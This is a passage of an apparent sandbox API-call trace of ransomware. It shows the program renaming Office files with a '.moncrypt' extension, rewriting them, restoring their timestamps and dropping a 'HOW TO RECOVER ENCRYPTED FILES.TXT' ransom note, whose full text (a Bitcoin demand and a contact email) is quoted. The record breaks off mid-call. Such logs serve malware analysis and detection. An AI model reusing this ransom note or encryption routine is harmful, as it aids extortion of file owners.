CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.651] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.651] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\") returned 0x5f [0048.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.651] GlobalLock (hMem=0x440004) returned 0x555860 [0048.651] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.651] GlobalUnlock (hMem=0x440004) returned 0 [0048.651] GlobalLock (hMem=0x440004) returned 0x555860 [0048.651] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.651] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.651] GlobalUnlock (hMem=0x440004) returned 0 [0048.651] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.651] GlobalUnlock (hMem=0x44000c) returned 0 [0048.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.652] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.652] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0048.652] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.652] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.652] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.652] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.652] GlobalUnlock (hMem=0x44000c) returned 0 [0048.652] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.652] GlobalLock (hMem=0x440004) returned 0x557870 [0048.652] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.652] GlobalUnlock (hMem=0x44000c) returned 0 [0048.652] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.652] GlobalUnlock (hMem=0x440004) returned 0 [0048.652] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.652] CharLowerBuffW (in: lpsz="Proofing.XML", cchLength=0xc | out: lpsz="proofing.xml") returned 0xc [0048.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", cchWideChar=107, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpUsedDefaultChar=0x0) returned 107 [0048.653] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpUsedDefaultChar=0x0) returned 4 [0048.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.653] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.654] CloseHandle (hObject=0x190) returned 1 [0048.654] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\я")) returned 1 [0048.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 0x54e280 [0048.655] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.655] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.656] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", dwFileAttributes=0x20) returned 1 [0048.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.moncrypt")) returned 1 [0048.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.658] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.658] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x32b [0048.658] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.658] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x32b, lpOverlapped=0x0) returned 1 [0048.660] GlobalLock (hMem=0x440004) returned 0x555860 [0048.660] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.660] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.660] GlobalUnlock (hMem=0x440004) returned 0 [0048.660] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.660] GlobalUnlock (hMem=0x44000c) returned 0 [0048.660] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.660] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.661] GlobalUnlock (hMem=0x44000c) returned 0 [0048.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.673] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.673] CloseHandle (hObject=0x190) returned 1 [0048.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.674] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.674] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.674] GlobalUnlock (hMem=0x44000c) returned 0 [0048.674] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.674] GlobalLock (hMem=0x440004) returned 0x557870 [0048.674] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.686] GlobalUnlock (hMem=0x44000c) returned 0 [0048.686] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.686] GlobalUnlock (hMem=0x440004) returned 0 [0048.686] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69a90, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.686] GetLastError () returned 0x2 [0048.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.688] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.689] CloseHandle (hObject=0x190) returned 1 [0048.689] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.689] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.689] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.690] GlobalLock (hMem=0x440004) returned 0x555860 [0048.690] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.690] GlobalUnlock (hMem=0x440004) returned 0 [0048.690] GlobalLock (hMem=0x440004) returned 0x555860 [0048.690] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.690] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.690] GlobalUnlock (hMem=0x440004) returned 0 [0048.690] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.690] GlobalUnlock (hMem=0x44000c) returned 0 [0048.690] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.690] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", cchWideChar=104, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 104 [0048.691] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 4 [0048.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.691] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.691] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.691] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.moncrypt")) returned 1 [0048.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.692] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.692] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x16fc [0048.692] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.692] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x16fc, lpOverlapped=0x0) returned 1 [0048.694] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.694] GlobalLock (hMem=0x440004) returned 0x557870 [0048.695] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.695] GlobalUnlock (hMem=0x44000c) returned 0 [0048.695] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.695] GlobalUnlock (hMem=0x440004) returned 0 [0048.695] GlobalLock (hMem=0x440004) returned 0x555860 [0048.695] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.695] GlobalUnlock (hMem=0x440004) returned 0 [0048.711] CreateFileW 